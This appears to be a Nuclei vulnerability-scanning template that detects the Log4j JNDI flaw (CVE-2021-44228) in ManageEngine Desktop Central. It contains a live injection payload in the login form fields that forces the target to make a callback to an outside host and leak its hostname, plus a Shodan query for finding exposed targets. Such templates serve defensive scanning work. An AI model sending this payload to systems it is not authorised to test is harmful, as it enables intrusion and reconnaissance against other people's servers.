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id : manage-engine-dc-log4j-rce
info :
name : Manage Engine Desktop Central - Remote Code Execution (Apache Log4j)
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author : shaikhyaser
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severity : critical
description : |
Manage Engine Endpoint Central (formerly Desktop Central) is susceptible to Log4j JNDI remote code execution. Endpoint Central is a Unified Endpoint Management (UEM) & Endpoint protection suite that helps manage and secure various network devices
reference :
- https://pitstop.manageengine.com/portal/en/community/topic/log4j-security-issue
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
cve-id : CVE-2021-44228
cwe-id : CWE-77
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cpe : cpe:2.3:a:zohocorp:manageengine_desktop_central:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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shodan-query : title:"ManageEngine Desktop Central"
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product : manageengine_desktop_central
vendor : zohocorp
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tags : cve,cve2021,rce,jndi,log4j,manage,engine,oast,kev
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
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str : "{{rand_base(5)}}"
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http :
- raw :
- |
POST /two_fact_auth HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Referer : {{RootURL}}/configurations
Content-Type : application/x-www-form-urlencoded
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j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&j_password=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&otpTimeout=7&browserLocale=en_us&cacheNum=4&csrfPreventionSaltForFlashMessage=
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matchers-condition : and
matchers :
- type : word
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part : interactsh_protocol # Confirms the DNS Interaction
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words :
- "dns"
- type : regex
part : interactsh_request
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors :
- type : kval
kval :
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- interactsh_ip # Print remote interaction IP in output
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- type : regex
group : 2
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part : interactsh_request
- type : regex
group : 1
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part : interactsh_request
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# digest: 4a0a00473045022009bc260c64dfa96ea2898fbde8f5861b8e6a5786dab29eb74829e4b01f5fb434022100a1cf5ee2b8e5d29cde38b0edf0ffdab839368c9f3f962d35e9831086a974d8aa:922c64590222798bb761d5b6d8e72950